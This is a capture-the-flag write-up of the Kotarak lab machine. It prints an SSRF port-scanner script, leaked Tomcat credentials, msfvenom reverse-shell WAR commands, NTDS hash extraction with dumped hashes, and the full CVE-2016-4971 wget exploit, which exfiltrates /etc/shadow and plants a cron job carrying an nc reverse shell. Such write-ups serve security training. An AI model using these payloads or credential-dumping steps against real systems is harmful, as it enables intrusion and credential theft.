Kotarak

image

Overview

Kotarak is an Ubuntu 16.04 box running a custom website that acts as a “proxy” to display other websites. A username and password was exposed by using the custom website to load an internally hosted website that exposed a username and password. Those credentials allowed access to upload war file via the tomcat manager app to receive a reverse shell as user tomcat. Looking through the filesystem I found some files that were the result of a dump of Active Directory. Using libesedb and dsusers.py I was able to extract the hashes and crack them with hashcat. The password was used to switch to the atanas account which had read permissions on the root folder. The root folder contained a file called flag.txt instead of the usual root.txt file. Some additional enumeration revealed that the target was running an lxd container. A log file in /root called app.log shows that the lxd container was configured with a cron job that checked for a non-existent file on the target system. From there I exploited a vulnerability in wget < 1.18 to get a root shell on the lxd container.

Enumeration

Software

Port Scan

nmap -vv -Pn -sT -A -p- 10.10.10.55 -oN /mnt/data/boxes/kotarak/_full_tcp_nmap.txt

Gobuster

gobuster dir -u http://10.10.10.55:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 35 -x php,html
gobuster dir -u http://10.10.10.55:60000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 35 -x php,html

http://10.10.10.55:60000/info.php http://10.10.10.55:60000/url.php?path=http://localhost:888 http://10.10.10.55:60000/url.php?nav= http://10.10.10.55:60000/url.php?nav=&column=name&order=desc http://10.10.10.55:60000/url.php?doc=

Nikto Scan

nikto -h http://10.10.10.55:8080

image

Steps (user)

I started by browsing to http://10.10.10.55:8080 which gave me an HTTP Status 404 message. The Nikto scan results showed some pages related to Tomcat, but more interestingly, manager/html which I know is the URL of the Tomcat Web Application Manager and allows uploading of war files. I plugged in the URL into my browser but was prompted for a username and password which I didn’t have so I moved on.

image

Next I browsed to http://10.10.10.55:60000 which displayed a “Welcome to Kotarak Web hosting Private Server” message.

image

Below the welcome message there was another line of text: “Use this private web browser to surf the web anonymously. Please do not abuse it!”. Under that was a text field and submit button. I opened up burp so I could see what happens when I put some text into the text field and hit submit.

image

It looked like the purpose of this application was to display other web pages which made me think to check for RFI. I created an http server and hosted a couple php files but the target wasn’t calling back. I later found out that this was because the box was using curl to load the remote pages so the commands were executing against my box not on the target.

Next I tried to see if I could view files using the file URI scheme but was shown a “try harder” message.

The file URI scheme is a URI scheme defined in RFC 8089, typically used to retrieve files from within one’s own computer.

image

I tried loading a website that was hosted on the target box and received a 200 response.

image

In order to see what else was listening on internal ports I wrote a quick python script that uses the requests module to check if the host is listening on a range of ports, in this case I specified them all: 1 - 65535. I was able to determine if a port was listening by looking at the length of the response and print that to the screen.

import requests

url = "http://10.10.10.55:60000/url.php?path=localhost:"

for x in range(1, 65535):
    r = requests.get(url+str(x))
    length = (len(r.text))
    if length > 2:
        print("[*] Response received on port: " +str(x))

The script showed that ports 22,90,110,200,320,888,3306, and 8080 were open. The script hadn’t finished yet but it was going to take quite a while so I just let it run and pushed forward.

image

Browsing through the results of the website scan I came across localhost:888 which was a simple file viewer page

image

I clicked on the backup link but the page was blank. I realized that it wasn’t including localhost:888 after being redirected so I updated it to changed the URL to view the backup file and added ?doc=backup. Viewing thes source shows a username and password

http://10.10.10.55:60000/url.php?path=localhost:888?doc=backup

image

<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
    <user username="admin" password="3@g01PdhB!" roles="manager,manager-gui,admin-gui,manager-script"/>

Now that I had a username and password, I went back to http://10.10.10.55:8080/manager/html and tried admin:3@g01PdhB! and it worked.

I created a reverse shell selecting a java payload and output the file to rshell.war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.29 LPORT=4200 -f war > rshell.war

I then uploaded rshell.war via the Tomcat Web Application Manager and received shell as user ‘tomcat’

image

I found an interesting folder called pentest_data when looking through tomcat’s home folder. The folder contained an active directory dump that looked like it was generated by Metasploit’s psexec_ntdsgrab module. I transferred them to my machine via netcat.

Receiver : nc -l -p 1234 > out.file / Sender : nc -w 3 [destination] 1234 < out.file

nc -w 3 10.10.14.5 4201 < 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
nc -l -p 4201 > ntds.dit
nc -w 3 10.10.14.5 4201 < 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
nc -l -p 4201 > ntds.bin

image

Now that I had the files I could work on extracting the hashes. This required a few steps which I referenced from ropnop’s blog https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/

First I needed libesedb which is a tool for parsing the ESE (Extensible Storage Engine) database where Active Directory data is stored. I downloaded the latest tarball and extracted it

wget https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gz
tar xf libesedb-experimental-20200418.tar.gz

I installed the necessary build tools

apt install autoconf automake autopoint libtool pkg-config

And then ran configure make and install on esedb

./configure
 make
 make install
 ldconfig

esedbexport was run against ntds.dit which exports the .dit database into parseable tables

esedbexport -m tables ntds.dit

Next I needed dsusers.py so I installed ntdsextract.

git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract/
python setup.py build && python setup.py install

The ntdsxtract tool dsusers.py is used to dump user information and NT/LM password hashes from an extracted table. It requires three things: the datatable and link_table which the esedbexport commands provided and the system hive (bin file).

The syntax is:

dsusers.py <datatable> <link_table> <output_dir> --syshive <systemhive> --passwordhashes <format options>

I plugged in the paths to the required files and set the pwdformat to ocl which formats the output for hashcat. I piped the output to the tee command which displays the output on screen as well as saves to a file, all_user_info.txt in this case.

~/tools/ntdsxtract/dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive ntds.bin --passwordhashes --pwdformat ocl --ntoutfile ntout.txt --lmoutfile lmout.txt | tee all_user_info.txt

image

Full Output

[+] Started at: Mon, 18 May 2020 22:50:43 UTC                                                                                                                                                 
[+] Started with options:                                                                                                                                                                     
        [-] Extracting password hashes                                                                                                                                                        
        [-] Hash output format: ocl                                                                                                                                                           
        [-] NT hash output filename: ntout.txt                                                                                                                                                
        [-] LM hash output filename: lmout.txt                                                                                                                                                
[+] Initialising engine...                                                                                                                                                                    
[+] Loading saved map files (Stage 1)...                                                                                                                                                      
[+] Loading saved map files (Stage 2)...
List of users:                                                                                                                                                                      [45/18951]
==============                                                                                                                                                                                
Record ID:            3562                                                                                                                                                                    
User name:            Administrator                                                                                                                                                           
User principal name:                                                                                                                                                                          
SAM Account name:     Administrator                                                                                                                                                           
SAM Account type:     SAM_NORMAL_USER_ACCOUNT                                                                                                                                                 
GUID:                 5f9433a8-7363-4f5e-8d3c-4a4dacca157c                                                                                                                                    
SID:                  S-1-5-21-1036816736-4081296861-1938768537-500                                                                                                                           
When created:         2016-07-19 23:33:08+00:00                                                                                                                                               
When changed:         2017-07-21 14:39:07+00:00                                                                                                                                               
Account expires:      Never                                                                                                                                                                   
Password last set:    2017-07-21 14:39:07.354826+00:00                                                                                                                                        
Last logon:           2017-07-21 14:48:56.134512+00:00                                                                                                                                        
Last logon timestamp: 2017-07-21 13:52:48.669583+00:00                                                                                                                                        
Bad password time     2017-07-21 13:52:19.684732+00:00                                                                                                                                        
Logon count:          63                                                                                                                                                                      
Bad password count:   0                                                                                                                                                                       
Dial-In access perm:  Controlled by policy                                                                                                                                                    
User Account Control:                                                                                                                                                                         
        NORMAL_ACCOUNT                                                                                                                                                                        
Ancestors:                                                                                                                                                                                    
        $ROOT_OBJECT$, local, mrb3n, Users, Administrator                                                                                                                                     
Password hashes:                                                                                                                                                                              
        Administrator:e64fe0f24ba2489c05e64354d74ebd11                                                                                                                                        
                                                                                                                                                                                              
Record ID:            3563                                                                                                                                                                    
User name:            Guest                                                                                                                                                                   
User principal name:                                                                                                                                                                          
SAM Account name:     Guest                                                                                                                                                                   
SAM Account type:     SAM_NORMAL_USER_ACCOUNT                                                                                                                                                 
GUID:                 2bf50d7e-79e6-4aab-a81c-157e7a1b6f44                                                                                                                                    
SID:                  S-1-5-21-1036816736-4081296861-1938768537-501                                                                                                                           
When created:         2016-07-19 23:33:08+00:00                                                                                                                                               
When changed:         2016-07-19 23:33:08+00:00                                                                                                                                               
Account expires:      Never                                                                                                                                                                   
Password last set:    Never                                                                                                                                                                   
Last logon:           Never                                                                                                                                                                   
Last logon timestamp: Never                                                                                                                                                                   
Bad password time     2016-11-25 22:46:55.531557+00:00                                                                                                                                        
Logon count:          0                                                                                                                                                                       
Bad password count:   1                                                                                                                                                                       
Dial-In access perm:  Controlled by policy                                                                                                                                                    
User Account Control:                                                                                                                                                                         
        ACCOUNTDISABLE                                                                                                                                                                        
        PWD_NOTREQD                                                                                                                                                                           
        NORMAL_ACCOUNT
        DONT_EXPIRE_PASSWORD
Ancestors:
        $ROOT_OBJECT$, local, mrb3n, Users, Guest
Password hashes:
Record ID:            3609
User name:            krbtgt
User principal name:  
SAM Account name:     krbtgt
SAM Account type:     SAM_NORMAL_USER_ACCOUNT
GUID:                 ce21ca0e-4f4d-49c9-9942-40b0d6ae913d
SID:                  S-1-5-21-1036816736-4081296861-1938768537-502
When created:         2016-07-19 23:34:47+00:00
When changed:         2017-07-21 13:57:55+00:00
Account expires:      Never
Password last set:    2017-07-21 13:57:55.522122+00:00
Last logon:           Never
Last logon timestamp: Never
Bad password time     Never
Logon count:          0
Bad password count:   0
Dial-In access perm:  Controlled by policy
User Account Control:
        ACCOUNTDISABLE
        NORMAL_ACCOUNT
Ancestors:
        $ROOT_OBJECT$, local, mrb3n, Users, krbtgt
Password hashes:
        krbtgt:ca1ccefcb525db49828fbb9d68298eee

Record ID:            3776
User name:            atanas
User principal name:  
SAM Account name:     atanas
SAM Account type:     SAM_NORMAL_USER_ACCOUNT
GUID:                 fcf6f550-6d74-434e-a2c0-c6b1e688cb6e
SID:                  S-1-5-21-1036816736-4081296861-1938768537-1108
When created:         2017-07-21 14:00:11+00:00
When changed:         2017-07-21 14:14:31+00:00
Account expires:      Never
Password last set:    2017-07-21 14:00:11.179960+00:00
Last logon:           2017-07-21 14:15:27.213569+00:00
Last logon timestamp: 2017-07-21 14:14:31.615071+00:00
Bad password time     Never
Logon count:          2
Bad password count:   0
Dial-In access perm:  Controlled by policy
User Account Control:
        NORMAL_ACCOUNT
Ancestors:
        $ROOT_OBJECT$, local, mrb3n, Users, atanas
Password hashes:
        atanas:2b576acbe6bcfda7294d6bd18041b8fe

Reviewing ntout I confirmed that the hashes were there and proceeded to feed that into hashcat.

image

hashcat -m 1000 output/ntout.txt --username /usr/share/wordlists/rockyou.txt --force

Hashcat was able to crack 1 out of 3 passwords, the password it found was f16tomcat!

image

I was then able to create a full pty with python and su to user atanas with password f16tomcat!.

python -c 'import pty;pty.spawn("/bin/bash")'
su atanas

image

Steps (root/system)

I copied LinEnum.py to the target directory and started a python http server

cp ~/tools/LinEnum/LinEnum.py le.py
python3 -m http.server 80

Wget was used download LinEnum to the target box

wget http://10.10.14.29/le.sh

Running and reviewing the linenum results showed that I could read the contents of root’s home folder.

image

The root folder showed a flag.txt file instead of the usual root.txt with the content “Getting closer! But what you are looking for can’t be found here”.

image

Another interesting thing I found while reviewing LinEnum was the network configuration which is indicative of an LXC configuration. LXC is a container service for linux and LXD is an open source container management application.

image

The app.log file in root’s home folder showed that server 10.0.3.133 was doing a GET request for /archive.tar.gz using an old version of wget.

image

Doing a searchsploit search for wget showed an arbitrary file upload / rce vulnerability.

image

GNU Wget before 1.18 when supplied with a malicious URL (to a malicious or compromised web server) can be tricked into saving an arbitrary remote file supplied by an attacker, with arbitrary contents and filename under the current directory and possibly other directories by writing to .wgetrc. Depending on the context in which wget is used, this can lead to remote code execution and even root privilege escalation if wget is run via a root cronjob. The full write-up can be found here: http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt

The POC works by listening on port 80 and responding with a 302 redirect that the target will follow to my box on port 21. At the root of the ftp server on my box is a .wget which instructs wget (via “post_file”) on the next run to display the contents of a file, /etc/shadow in this case, and create a cron job (via “output_document”).

I modified the script by setting the listen IP to 0.0.0.0 (all interfaces), set the ftp host to my tun0 IP address, and create a cron job that will call back to kotarak-dmz on port 3000.

HTTP_LISTEN_IP = "0.0.0.0"
FTP_HOST = '10.10.14.29'
ROOT_CRON = "* * * * * root /bin/sh rm /tmp/z;mkfifo /tmp/z;cat /tmp/z|/bin/sh -i 2>&1|nc 10.10.10.55 3000 >/tmp/z"
#!/usr/bin/env python

#
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971 
#

import SimpleHTTPServer
import SocketServer
import socket;

class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
   def do_GET(self):
       # This takes care of sending .wgetrc

       print "We have a volunteer requesting " + self.path + " by GET :)\n"
       if "Wget" not in self.headers.getheader('User-Agent'):
	  print "But it's not a Wget :( \n"
          self.send_response(200)
          self.end_headers()
          self.wfile.write("Nothing to see here...")
          return

       print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
       self.send_response(301)
       new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
       print "Sending redirect to %s \n"%(new_path)
       self.send_header('Location', new_path)
       self.end_headers()

   def do_POST(self):
       # In here we will receive extracted file and install a PoC cronjob

       print "We have a volunteer requesting " + self.path + " by POST :)\n"
       if "Wget" not in self.headers.getheader('User-Agent'):
	  print "But it's not a Wget :( \n"
          self.send_response(200)
          self.end_headers()
          self.wfile.write("Nothing to see here...")
          return

       content_len = int(self.headers.getheader('content-length', 0))
       post_body = self.rfile.read(content_len)
       print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)

       print "Sending back a cronjob script as a thank-you for the file..." 
       print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
       self.send_response(200)
       self.send_header('Content-type', 'text/plain')
       self.end_headers()
       self.wfile.write(ROOT_CRON)

       print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"

       return

HTTP_LISTEN_IP = '0.0.0.0'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.10.14.29'
FTP_PORT = 21

ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n"

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)

print "Ready? Is your FTP server running?"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
   print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
   print "FTP is down :( Exiting."
   exit(1)

print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT

handler.serve_forever()

I transferred exploit.py to target host, first creating a python http server to host the file.

wget http://10.10.14.29/exploit.py

On my box I started an FTP listener

python -m pyftpdlib --port=21

Running the exploit threw an error: “socket.error: [Errno 99] Cannot assign requested address”.

image

There is a workaround using Authbind which allows binding sockets to privileged ports without root and this worked.

authbind python ./exploit.py

image

Because I was going to be running the exploit and listening on netcat on port 3000 I needed a second session. I create a second payload with msfvenom for port 4201 and uploaded it to Tomcat Web Application Manager.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.29 LPORT=4201 -f war > rshell2.war

Once logged in on the second session I set up a netcat listener for port 3000.

nc -lvnp 3000

Once the container downloaded the .wgetrc file and created the cron job I waited and after a few minutes I received a callback and had shell as the root user.

image